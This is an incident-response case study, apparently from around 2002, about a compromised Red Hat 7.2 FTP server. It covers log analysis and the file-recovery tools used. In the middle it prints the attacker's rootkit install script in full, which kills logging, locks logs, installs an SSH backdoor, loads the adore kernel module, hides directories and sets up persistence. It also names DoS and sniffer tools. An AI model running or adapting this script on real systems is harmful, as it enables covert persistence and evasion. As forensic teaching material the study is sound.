Case Study Introduction
This is a case study of a medium-sized computer hardware online retailer that understands the value of network and host security, since its business depends upon reliable and secure online transactions. Its internal network and DMZ setup was designed with security in mind, verified by outside experts, protected by latest in security technology and monitored using advanced audit trail aggregation tools. Following the philosophy of defense-in depth, two different firewalls and two different intrusion detection systems were used. The DMZ setup was of the bastion network type with one firewall separating the DMZ from the hostile Internet and another protecting internal networks from DMZ and Internet attacks. Two network IDS were sniffing the DMZ traffic. In the DMZ the company has gathered the standard set of network servers (all running some version of UNIX or Linux): web, email, DNS servers and also a dedicated FTP server, used to distribute hardware drivers for the company inventory. The FTP server, running Red Hat 7.2, is the subject of this account. This server was the latest addition to the company network.Let's shed some more light on the DMZ setup, since it provides an explanation why the attack went the way it did. Outside firewall (Firewall 1 on the picture) provided NAT services and only allowed access to a single port on each of the DMZ hosts. Evidently, those were TCP port 80 on web server, TCP port 25 on the mail server, TCP and UDP ports 52 on DNS server and TCP ports 21 and 20 on the ftp server. No connections to outside machines were allowed from any DMZ machine. Internal firewall blocked all connections from the DMZ to internal LAN (no exceptions) and allowed connections that originated from the internal LAN to DMZ machines (only specified ports for management and configuration). The second firewall (Firewall 2 on the diagram) also worked as application-level proxy for web and other traffic (no direct connections to the Internet from internal LAN were allowed). In addition, each DMZ machine was hardened and ran a host-based firewall, only allowing connections on a single specified port (two for the FTP) as mentioned above from outside and NOT from other DMZ machines. While it is unwise to claim that their infrastructure was unassailable, it is quite reasonable to say that it was "better than most".
On Monday morning, company support team was alerted by a customer who was trying to download a drive update. He reported that FTP server "was not responding" to his connection attempts. Upon failing to login to FTP server remotely via secure shell, the support team member walked to a server room only to discover that the machine crashed and is not able to boot. The reason was simple - no operating system was found.
At that point, their incident response plan was triggered into action. Since FTP server was not of critical business value, it was decided to complete investigation before redeploying the server and to utilize other channels for software distribution temporarily. The primary purpose of investigation was to learn about the attack in order to secure the server against recurrence. The secondary focus was to trace the actions of the attacker.
Diagnosing the Evidence
The main piece of evidence for my investigation was a 20 GB disk drive. No live forensics was possible since the machine crashed when running unattended. In addition, we had a set of log files from firewall and IDS, all nicely aggregated by netForensics ( ) software.The investigation started from reviewing the traffic patterns. The thing that attracted the most attention was an IDS report with 3 high priority events - recent WU-FTP attack at about 02:29 on April 1. It appears that IDS signature base was updated with the new attack signatures, while the company FTP server FTP daemon software was not. Considering the above network infrastructures, we hoped there will be no more unpleasant security surprises. There were: syslog on the FTP server was not set for remote logging. Thus, no first hand attack information was available from the FTP server itself.
By analyzing the connection data from the machine that launched an attack, it was found that:
- The intruder probed the Em outside visible IP addresses at
least several hours prior to the incident.
- Upon compromising the FTP server, the intruder tried to connect to
other DMZ hosts and to some machines on the outside. All such attempts
were unsuccessful.
- The attacker has uploaded a file to the FTP server.
After network analysis part (it was easy due to netForensics advanced data correlation capabilities) is was time for a hard drive forensics. The disk was found to contain three partitions, "/", "/usr" and "/home". After the disk was connected to a forensics workstation, images of all partitions were taken:
-
# dd if=/dev/hdc1 of=/home/hacked-ftp-hdc1
Upon mounting the partitions
-
# mount -o ro,loop,noatime /home/hacked-ftp-hdc1 /mnt/hf-hdc1
Then, it was decided to look for fragments of log files (originally in /var/log) to confirm the nature of attack. The command:
-
# strings /home/hacked-ftp-hdc1 | grep 'Apr 1'
System log:
-
Apr 1 00:08:25 ftp ftpd[27651]: ANONYMOUS FTP LOGIN FROM 192.1.2.3 [192.1.2.3], mozilla@ Apr 1 00:17:19 ftp ftpd[27649]: lost connection to 192.1.2.3 [192.1.2.3] Apr 1 00:17:19 ftp ftpd[27649]: FTP session closed Apr 1 02:21:57 ftp ftpd[27703]: ANONYMOUS FTP LOGIN FROM 192.1.2.3 [192.1.2.3], mozilla@ Apr 1 02:26:13 ftp ftpd[27722]: ANONYMOUS FTP LOGIN FROM 192.1.2.3 [192.1.2.3], mozilla@ Apr 1 02:29:45 ftp ftpd[27731]: ANONYMOUS FTP LOGIN FROM 192.1.2.3 [192.1.2.3], x@ Apr 1 02:30:04 ftp ftpd[27731]: Can't connect to a mailserver. Apr 1 02:30:07 ftp ftpd[27731]: FTP session closed
-
Apr 1 00:17:23 ftp xinetd[921]: START: ftp pid=27672 from=192.1.2.3 Apr 1 02:20:18 ftp xinetd[921]: START: ftp pid=27692 from=192.1.2.3 Apr 1 02:20:38 ftp xinetd[921]: EXIT: ftp pid=27672 duration=195(sec) Apr 1 02:21:57 ftp xinetd[921]: START: ftp pid=27703 from=192.1.2.3 Apr 1 02:21:59 ftp xinetd[921]: EXIT: ftp pid=27692 duration=101(sec) Apr 1 02:26:12 ftp xinetd[921]: EXIT: ftp pid=27703 duration=255(sec) Apr 1 02:26:13 ftp xinetd[921]: START: ftp pid=27722 from=192.1.2.3 Apr 1 02:29:40 ftp xinetd[921]: START: ftp pid=27731 from=192.1.2.3 Apr 1 02:30:07 ftp xinetd[921]: EXIT: ftp pid=27731 duration=27(sec)
-
Mon Apr 1 02:30:04 2002 2 192.1.2.3 262924 /ftpdata/incoming/mount.tar.gz b _ i a x@ ftp 0 * c
Initial Conclusions
Two conclusions can be drawn from the above data. First, the server was indeed compromised from outside the perimeter, using the recent FTP exploit (see and 2001 CERT Advisories for more details) using a machine at 192.1.2.3 (address sanitized!). Second, the attacker managed to get some files onto the victim host.
Tracking the Rootkit
We suspected that the file "mount.tar.gz" contained a rootkit. We were interested whether the attacker managed to install it and what was the tool functionality. Thus the hunt for the rootkit began.Before sending the heavyweights (i.e. forensics toolkits) into battle, the strings file (i.e. the output of "strings /home/hacked-ftp-hdc1") was grepped for various interesting words. Another productive way to find stuff (text-only) is to load the entire strings output in your favorite UNIX pager program (such as "less") and then look for interesting keywords. The latter method allows one to look at strings that surround the interesting one.
The apparent search keywords were "mount.tar.gz", attacker's IP address (192.1.2.3), "incoming" (for the path name to the FTP directory) and some others.
The next piece of evidence that surfaced was a ncftp log fragment. NcFtp is a UNIX/Linux FTP client, that preserves its own log file of outbound connections for the purposes of bookmarking them for easy return.
SESSION STARTED at: Mon Apr 1 02:21:17 2002
Program Version: NcFTP 3.0.3/635 April 15 2001, 05:49 PM
Library Version: LibNcFTP 3.0.6 (April 14, 2001)
Process ID: 27702
Platform: linux-x86
Uname: Linux|ftp|2.4.7-10|#1 Thu Sep 6 17:27:27 EDT 2001|i686
Hostname: localhost.localdomain (rc=4)
Terminal: dumb
00:21:17 Resolving 192.1.2.3...
00:21:17 Connecting to 192.1.2.3...
00:21:17 Could not connect to 192.1.2.3: Connection refused.
00:21:17 Sleeping 20 seconds.
There were several of those messages, indicative of several failed
connection attempts. netForensics network traffic data also shows the
attacker trying to ping the outside hosts (also unsuccessful).Next keyword search in strings output brought much larger fish - a list of files in rootkit and its installation script. Unfortunately, it turned out to be the high point of the investigation.
Evaluating the Rootkit
List of rootkit files:
- a.sh
- adore-0.42.tar.gz
- sshutils.tar.gz
- utils.tar.gz
a.sh from the above list):
#!/bin/sh # seting paths PATH=".:~/bin:/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11/bin:/opt/bin: /usr/local/sbin:/usr/local/bin:/usr/local/kde/bin:/usr/local/mysql/bin: /opt/gnome/bin"
-
# unseting the histifle unset HISTFILE export HISTFILE=/dev/null
-
# making the directories echo "[Facem directoarele]" uname -r |awk '{print $1}'|while read input ;\ do mkdir /lib/modules/$input/.modinfo ; done sleep 1 if [ -d /etc/sysconfig/console ];then echo "Dir found" else mkdir /etc/sysconfig/console echo "/etc/sysconfig/console created" if [ -d /usr/info/.1 ];then echo "Dir found" else mkdir /usr/info/.1 echo "files dir created" sleep 1
# dezarhivam echo "[dezarhivam]" tar zxvf adore-0.42.tar.gz sleep 3 tar zxvf sshutils.tar.gz sleep 3 tar zxvf utils.tar.gz
# read only logs until we finish chattr +ia /var/log/messages chattr +ia /varlog/secure chattr +ia /var/log/maillog chattr +ia /root/.bash_history #killing syslogs killall -9 syslogd killall -9 klogd
#copying ssh files/confs echo "[SSH part]" cd ../sshutils mv .napdf /etc/sysconfig/console/ mv .racd /etc/sysconfig/console/ mv .radd /etc/sysconfig/console/ mv .seedcf /etc/sysconfig/console/ mv nscd /usr/local/bin chown root.root /usr/local/bin/nscd cd /tmp/mount # starting ssh /usr/local/bin/nscd -q
#kernel module
cd /tmp/mount/adore
./configure
make
sleep 27
#copiem modulele
uname -r |awk '{print $1}'|while read input ;do cp adore.o
/lib/modules/$input/.modinfo/arpd.o;done
uname -r |awk '{print $1}'|while read input ;do cp cleaner.o
/lib/modules/$input/.modinfo/arpd-use.o;done
uname -r |awk '{print $1}'|while read input ;do cp ava
/lib/modules/$input/.modinfo/a;done
#inseram modulele
uname -r |awk '{print $1}'|while read input ;do /sbin/insmod
/lib/modules/$input/.modinfo/arpd.o;done
uname -r |awk '{print $1}'|while read input ;do /sbin/insmod
/lib/modules/$input/.modinfo/arpd-use.o;done
#hiding directories
uname -r |awk '{print $1}'|while read input ;do
/lib/modules/$input/.modinfo/a h /etc/sysconfig/console;doneuname -r |\
awk '{print $1}'|while read input ;do /lib/modules/$input/.modinfo/a h
/usr/info/.1;done
uname -r |awk '{print $1}'|while read input ;do /lib/modules/$input/.modinfo/a
i `cat /etc/sysconfig/console/.piddr`;done
# utils # copiing boot file cd /tmp/mount cp randoms /etc/rc.d/init.d/ # next faze updatedb& sleep 1 cd /root chattr +ia .bash_history
cd /tmp/mount/utils mv fsch2 /etc/cron.daily/ mv imp /usr/info/.1 mv slc /usr/info/.1 mv lil /usr/info/.1 mv sense /usr/info/.1
# sys configs echo "/usr/local/bin/nscd -q" >>/etc/rc.d/rc.sysinit echo "/etc/rc.d/init.d/randoms >/dev/null &" >>/etc/rc.d/rc.sysinit
-
chattr +ia /etc/rc.d/rc.sysinit #ending uname -r |awk '{print $1}'|while read input ; \ do /lib/modules/$input/.modinfo/a u /tmp/mount/adore;done rm -rf /tmp/mount* /etc/rc.d/init.d/syslog start & sleep 5 chattr -ia /var/log/messages chattr -ia /var/log/secure chattr -ia /var/log/maillog echo "DONE"
Next section of strings file contained more scriptlets used by the rootkit, headers from some denial of service tools (imp flooder, slice DoS tool, look them up at packetstorm), parser for LinSniffer logs (another old favorite of script kiddies) and a hunk of adore LKM source code with author's headers intact. In addition, a fragment of what appears to be a SSH backdoor configuration file was found. Overall, it turned out to be a pretty low-tech rootkit, using only publicly available components.
The next goal was to recover all of the rootkit files. While none of the components appear to use new penetration technology, it is still of interest. For example, usage of kernel-level backdoor (adore) is a mainstream rootkit shows that casual system administrators will likely miss it on their systems.
Utilizing Forensics Tools
Coroner's toolkit tct (see and The Coroner's Toolkit (TCT)) was then used to look for the rootkit. We also tried using recently released computer forensics toolkit - TASK by Brian Carrier from @Stake. TASK is an improvement over tct since it integrates tct-utils (that can be used to built better malicious activity timeline) with core tct functionality. TASK also integrates with "autopsy" forensic browser to provide a nice interface for file browsing, recovery and timeline creation on multiple disk images.Unfortunately, most of the tct and TASK toolkits functionality will not work on a Red Hat 7.2 machine. Due to certain changes in filesystem code, the inode data (that was used to recover deleted files) is now zeroed out. The tips from Linux Undeletion HOWTO ( ) and tools like recover ( ), e2undel (the e2undel home page) based on the above HOWTO will all fail to recover a single file. Excellent utilities were rendered unusable. However, it is not a bad thing for many people, computer forensic examiners excluded, since deleted data should probably stay deleted.
Fortunately, the tct kit also implements a more painful way to recover the files - but it will work on Red Hat 7.2 with zeroed inodes. Unrm/lazarus tool provides a good chance to recover at least something. Lazarus looks at all the disk blocks, determines their type (such as text, email, C code, binary, archive or something else) using UNIX "file" command. It also concatenates consecutive blocks of the same type together, assuming that they are pieces of the same file. This algorithm will most likely to bring back text data than binary data though.
To run the tool, one first need to create a file containing all the unallocated space from the partition:
-
./tct-1.09/bin/unrm /home/hacked-ftp-hdc1 >\ /home/hacked-ftp-hdc1.unrm
-
./tct-1.09/lazarus/lazarus /home/hacked-ftp-hdc1.unrm
In our investigation we were looking for an archive containing the rootkit or any of its components. There are many ways to analyze the "blocks" directory (all are slow, some are excruciatingly slow). To look for gzip-compressed files we do:
-
# find blocks -type f -print | xargs file {} |\ grep gzip > /home/hacked-ftp-hdc1.blocks-gzipped
-
# awk -F ':' '{print $1}' /home/hacked-ftp-hdc1.blocks-gzipped |\ xargs -i ls -l {}
-
# find blocks -type f -print | xargs file {} | grep 'C program text'
As a last resort, an even newer forensics tool called "foremost" was used. It was recently released [reportedly] by USAF Office of Special Investigations. "Foremost" uses customizable binary data signatures to look for files within the disk image file. I created a signature for the tool to look for GNU gzip archives since the rootkit and its components (shown above) were all gzipped tar archives. The USAF tool brilliantly did its job where TCT failed!
Two of the rootkit components were recovered (adore.tar.gz and utils.tar.gz). Adore kit contained a standard adore LKM v.0.42 (as distributed by TESO). Utils package contained the following five binaries:
-
-rw-r--r-- 1 root root 14495 Jan 22 23:37 fsch2 -rwxr-xr-x 1 root root 8368 Aug 7 2000 imp -rwxr-xr-x 1 root root 7389 Jan 15 2001 lil -rwxr-xr-x 1 root root 4060 Jun 25 2000 sense -rwxr-xr-x 1 root root 15816 Oct 13 2000 slc
At that point, investigation was closed. Attacker's ISP was notified, and no action was taken by them (normal practice). Just one of those throw-away dial-up accounts... In the second part of the article, we will discuss the security lessons this incident teaches us.
